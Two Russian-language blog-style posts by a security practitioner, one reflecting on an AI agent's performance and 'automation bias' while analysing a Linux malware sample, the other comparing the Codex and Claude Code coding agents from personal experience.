Интересное наблюдение

Продолжаю свои эксперименты по анализу семплов с применением ИИ агентов. Я отдал агенту семпл из семейства киберпартизан. Первый семпл, который я анализировал в посте выше, был для windows, новый был для Linux.

Я отдал агенту все наработки по анализу первого, думая, что он справится быстрее. но НЕТ. Время анализа оказалось даже чуть больше, чем в первом случае. И вот те причины, на которые я вышел в ходе своего "расследования"

1️⃣ Контекст по анализу первого семпла съел много входных токенов. Из-за этого контекст модели переполнился быстрее и промежуточное качество анализа было потеряно. То есть, когда даете контекст при решении схожей задачи нужно валидировать то, что вы отдаете и в каком виде. Иногда это может пойти даже во вред.


2️⃣Вот это самое интересное. В первом разборе было реально много технических деталей и когда модель начала встречать те же паттерны она начала "слишком верить в себя". То есть вместо "рутинной ручной обработки", она начала пытаться подходить к задаче более абстрактно и автоматизировать выполнение. Итого 60 вызовов ida_python против 7 в первом случае. Модель потратила реально много времени и ресурса на автоматизацию, не справилась с ней, и вернулась к первой задаче, то есть сама модель поставила себе более амбициозную задачу, чем мы от нее просили изначально. Таким образом модель столкнулась с automation bias, который, обычно, относят к людям. Нужно отдать модели должное, она вылезла сама из этого состояния, пусть и ценой дополнительных токенов.

Нельзя забывать, что модели подвержены тем же отклонениям, что и люди. И при постановке задачи излишний контекст, иногда, только мешает ее выполнению, а не помогает.

PS

Поигравшись с промтом и входным контекстом получилось сократить время анализа на треть (24 минуты против 38) для семпла, который встречался в другой кампании киберпартизан и несущественно отличается от проанализированных ранее.

Заметки на полях вайбкодинга.

Вообще я по жизни не программист, но в ходе своего профессионального и личного развития часто сталкивался с написанием скриптов, автоматизациями и в целом анализом кода (было время - фаззил PostgreSQL даже и анализировал уязвимости в ядре Linux). В итоге это сформировало общее понимание написания хорошего кода и устойчивых систем без самого навыка, ну может быть чуть-чуть.

Начиная с момента, когда я начал программировать, я написал сам десятки-сотни тысяч строк различного кода, но начиная с начала 2026 года я отдал мейнтейнить свои системы агентам. Где-то это открытые ллм, где-то внутри контура, но код я сам писать перестал вообще, кроме каких-то узких ситуаций.

Опущу свои восторженные нахваливания ИИ в этом вопросе (поверьте, если ставить правильно задачу и вы не senior software engineer - то LLM пишет код лучше вас), и остановлюсь на своем опыте использования двух frontier продуктов Codex и Claude Code с точки зрения человека, разрабатывающего различные продукты и в ИБ и в ИТ сейчас, но не являющегося программистом.

Мои впечатления

Codex

Сразу бросается в глаза что Codex - это продукт для масс. Очень много коннекторов, графический интерфейс, мини браузер прям в приложении, возможность выбора темы, интеграция с приложениями на десктопе и так далее. Это все создает очень большую вариативность по сценариям использования и выглядит понятно для обывателя.

Вместе с тем есть и огрехи: отображение оставшегося количества токенов не всегда интуитивное, иногда вообще неясно, что делает llm с кодом (как-то непонятно, какие изменения вносятся), иногда модель тупит с просто чтением веб страницы, пытается выполнить скрепинг через curl или urllib. Контекста только 256 тысяч, но сохраняет его неплохо между переполнением. Не очень хорошо работает со скиллами и агентами. Для их применения нужно прямо напрямую просить, сам агент до этого не доходит (может нужно усилить общий промт для проекта).

По качеству кода у меня нет вопросов. Еще мне не хватило, чтобы модель сама автоматом распознала, когда нужно переключиться в режим плана, а когда сразу делать.

Еще минус что в Codex нельзя использовать Pro модель Chatgpt ни при каких подписках, это немного расстроило, потому что иногда хочется натравить Pro модель на какое-то исследование в рамках твоей кодовой базы (или реального инцидента 😀).

Claude Code

Интерфейс чат бота внутри IDE либо TUI в терминале. Явно не для массового пользователя, а для тех, кто хоть когда-то писал код. Коннекторов из коробки не так много, компьютером управлять не умеет, песочница по умолчанию у него менее ограничения, чем в Codex. Все это компенсируется очень чутким пониманием структуры агентских инструкций и использованием MCP. Мне как человеку, кто писал код и видел код зрелый, сразу понятно, как нужно разложить файлики, что туда написать, какие скилы удобно делать. Сам агент очень удачно распознает, когда какой скил взять и сам предлагает это.

С агентами та же история, что в кодекс, если не вызвать explicit, то их не будет. Код пишет хорошо. Отдельная киллер-фича - контекст на миллион токенов, это просто круто. Иногда у меня создается впечатление, что он все-таки где-то в фоне сжимается, но может я не прав.

По интерфейсу мне все нравится, причем агент именно заточен на написание скиллов по умолчанию и часто сам предлагает такие вещи.

Выводы

Если у вас хороший технический бекграунд (а тут большинство таких, я думаю) - начинайте с Claude Code. Такой подход опасен тем, что к Codex потом не привыкнуть (как вышло у меня в итоге).

Если вы чувствуете себя больше художником - попробуйте Codex, кажется, что для таких задач он более удобен.

А вообще лучше взять и сравнить самому.